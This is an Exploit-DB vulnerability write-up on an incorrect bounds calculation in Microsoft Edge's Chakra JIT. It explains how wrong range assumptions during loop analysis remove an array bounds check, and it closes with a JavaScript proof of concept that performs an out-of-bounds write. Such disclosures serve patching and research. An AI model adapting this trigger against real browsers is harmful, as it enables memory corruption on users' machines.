### Microsoft Edge Chakra JIT - Incorrect Bounds Calculation

EDB-ID: 43710
`` Let's start with comments in the "GlobOpt::TrackIntSpecializedAddSubConstant" method.              // Track bounds for add or sub with a constant. For instance, consider (b = a + 2). The value of 'b' should track              // that it is equal to (the value of 'a') + 2. That part has been done above. Similarly, the value of 'a' should              // also track that it is equal to (the value of 'b') - 2.    This means "j" will be guaranteed to be in the range of INT_MIN to 15(INT_MAX - 0x7ffffff0) at (a) in the following code. In detail, it uses "BailOutOnOverflow", which makes the JITed code bailout when an integer overflow occurs, to ensure the range.    function opt(j) {      let k = j + 0x7ffffff0;      // (a)  }      But if integer overflows continuously occur in the JITed code or it's known that "k" doesn't fit in an int at compile time, Chakra considers "k" to be a float.    For example, in the following code where "j" is always greater than 100, "k" is considered a float. So it doesn't use "BailOutOnOverflow" for the add operation.    function opt(j) {      if (j <= 100)          return;        let k = j + 0x7ffffff0;  }      Now, let's take a look at the PoC.    function opt() {      let j = 0;      for (let i = 0; i < 2; i++) {          // (a)          j += 0x100000;          // (b)          let k = j + 0x7ffffff0; // (c)      }  }    Note that all loops are analyzed twice in the JIT optimization process.    Here's what happens in the analyses.    In the first analysis:  At (b), Chakra considers "j" to be in the range of INT_MIN to INT_MAX.  At (c), INT_MAX + 0x7ffffff0 overflows but INT_MIN + 0x7ffffff0 doesn't, so it assumes "k" may fit in an int and that "BailOutOnOverflow" will be used to ensure "j" to be in the range of INT_MIN to 15.    In the second analysis:  At (a), Chakra considers "j" to be in the range of 0 to 15.  At (b), Chakra considers "j" to be in the range of 0x100000 to 0x10000f.  At (c), in both cases of 0x100000 + 0x7ffffff0 and 0x10000f + 0x7ffffff0, an integer overflow occurs. So "k" is considered a float.      In the first analysis, it made two assumptions: "k" will be an int, and therefore "BailOutOnOverflow" will be used. But actually, both assumptions are wrong. "k" will be a float. And "BailOutOnOverflow" will never be used.    However it's already guaranteed "j" to be in the range of INT_MIN to 15 at (a) based on the wrong assumptions. We can abuse this.    PoC demonstrating OOB write:  */  function opt(arr) {      if (arr.length <= 15)          return;        let j = 0;      for (let i = 0; i < 2; i++) {          arr[j] = 0x1234;  // (a)          j += 0x100000;          j + 0x7ffffff0;      }  }    function main() {      for (let i = 0; i < 0x10000; i++) {          opt(new Uint32Array(100));      }  }    main();    // At (a), Chakra considers "j" to be always in the range of INT_MIN to 15, the length of "arr" has been already guaranteed to be upper than 15, so it eliminates the bounds check.``